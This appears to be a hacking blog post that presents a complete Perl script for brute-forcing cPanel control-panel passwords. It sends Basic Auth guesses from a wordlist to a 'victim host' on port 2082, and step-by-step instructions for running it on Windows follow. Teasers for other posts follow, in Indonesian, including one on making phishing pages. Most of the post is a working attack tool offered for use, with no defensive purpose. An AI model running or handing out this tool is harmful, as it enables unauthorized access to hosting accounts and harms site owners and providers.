Skip to main content

Perl Script for CP Cracking

SCRIPT CODE:
#!/usr/bin/perl
# Cpanel Password Brute Forcer
# ----------------------------
#    (c)oded By Hessam-x
# Perl Version ( low speed )
# Oerginal Advisory :
# http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/
use IO::Socket;
use LWP::Simple;
use MIME::Base64;

$host     = $ARGV[0];
$user     = $ARGV[1];
$port     = $ARGV[2];
$list     = $ARGV[3];
$file     = $ARGV[4];
$url = "http://".$host.":".$port;
if(@ARGV < 3){
print q(
###############################################################
#               Cpanel Password Brute Force Tool              #
###############################################################
#     usage : cpanel.pl [HOST] [User] [PORT][list] [File]    #
#-------------------------------------------------------------#
#    [Host] : victim Host             (simorgh-ev.com)        #
#    [User] : User Name               (demo)                  #
#    [PORT] : Port of Cpanel          (2082)                  #
#[list] : File Of password list   (list.txt)              #
#    [File] : file for save password  (password.txt)          #
#                                                             #
###############################################################
#            (c)oded By Hessam-x / simorgh-ev.com             #
###############################################################
);exit;}

headx();

$numstart  = "-1";

sub headx() {
print q(
###############################################################
#              Cpanel Password Brute Force Tool               #
#            (c)oded By Hessam-x / simorgh-ev.com             #
###############################################################
);
open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
@PASSWORDS = <PASSFILE>;
close PASSFILE;
foreach my $P (@PASSWORDS) {
chomp $P;
$passwd = $P;
print "
[~] Try Password : $passwd
";
&brut;
};
}
sub brut() {
$authx = encode_base64($user.":".$passwd);
print $authx;
my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
[-] Can not connect to the host";
print $sock "GET / HTTP/1.1
";
print $sock "Authorization: Basic $authx
";
print $sock "Connection: Close

";
read  $sock, $answer, 128;
close($sock);

if ($answer =~ /Moved/) {
print "
[~] PASSWORD FOUND : $passwd
";
exit();
}
}


save as cp.pl with notepad. U need perl to run this script
It is so simple. How to use? >>
-make the perl script under C:
-also make 2 text files with perl scipt in C;
wordlist of text file (eg.passlist.txt) & result for (eg.11.txt)
-done

usage in cmd box
cp.pl [HOST] [User] [PORT] [LIST] [FILE]

cp.pl = your cracking perl script
HOST = the host you wanna [ IP ]
PORT = 2082
LIST = the wordlist including words to crack control panel (eg.passlist.txt)
FILE = result get from cracking place in here.(eg.11.txt)

Comments

Popular posts from this blog

SCAN VIRUS DENGAN NETSTAT

Hi... All.. Langsung aja ke penjelasan yach... Berikut adalah Langkah-langkah nya: 1. Buka Task Manager (ctrl + alt + del) 2. Klik View dan Pilih Select Columns

PHISING DAN CONTOH CARA MEMBUAT PHISING PAGE

Phising merupakan kata plesetan dari bahasa Inggris yang berarti memancing. Dalam dunia yang serba terhubung secara elektronik saat ini, istilah phising banyak diartikan sebagai suatu cara untuk memancing seseorang ke halaman tertentu. Phising tidak jarang digunakan oleh para pelaku kriminal di internet untuk memancing seseorang agar mendatangi alamat web melalui e-mail, salah satu tujuannya adalah untuk menjebol informasi yang sangat pribadi dari sang penerima email, seperti password, kartu kredit, dll. Diantaranya dengan mengirimkan informasi yang seakan-akan dari penerima e-mail mendapatkan pesan dari sebuah situs, lalu mengundangnya untuk mendatangi sebuah situs palsu. Situs palsu dibuat sedemikian rupa yang penampilannya mirip dengan situs asli. lalu ketika korban mengisikan password maka pada saat itulah penjahat ini mengetahui password korban. Penggunaan situs palsu ini disebut juga dengan istilah pharming.

WEBSITE ERROR SAAT DI BUKA

Mungkin diantara Kita pernah mengalami masalah saat membuka website, dan yang keluar bukan isi konten secara keseluruhan dari website tersebut, melainkan error (Page not Found), atau bahkan blank dan tidak muncul sama sekali. Dan jika mengalami masalah seperti ini, pasti Kita dibuat kesal dan bertanya-tanya, “Apakah Server sedang Down?” atau ada masalah apa? Apalagi website kita termasuk yang memiliki traffic tinggi dan kalau sampai tidak bisa dibuka, berapa kerugian yang diakibatkan oleh masalah tersebut. Dan hal yang paling sering di lakukan oleh kita sebagai user dari sebuah hosting shared adalah berbentuk protes dan beranggapan bahwa server sedang down atau sedang mengalami masalah uptime. Kadang di hosting Kami Dreamlandhost juga pernah mengalami masalah seperti itu, tapi setelah dilakukan pengecekan, hoster lain juga mengalami hal yang sama user marah2 karena websitenya tidak bisa di akses di komputernya sendiri, tetapi di komputer lain dengan koneksi internet lain, halaman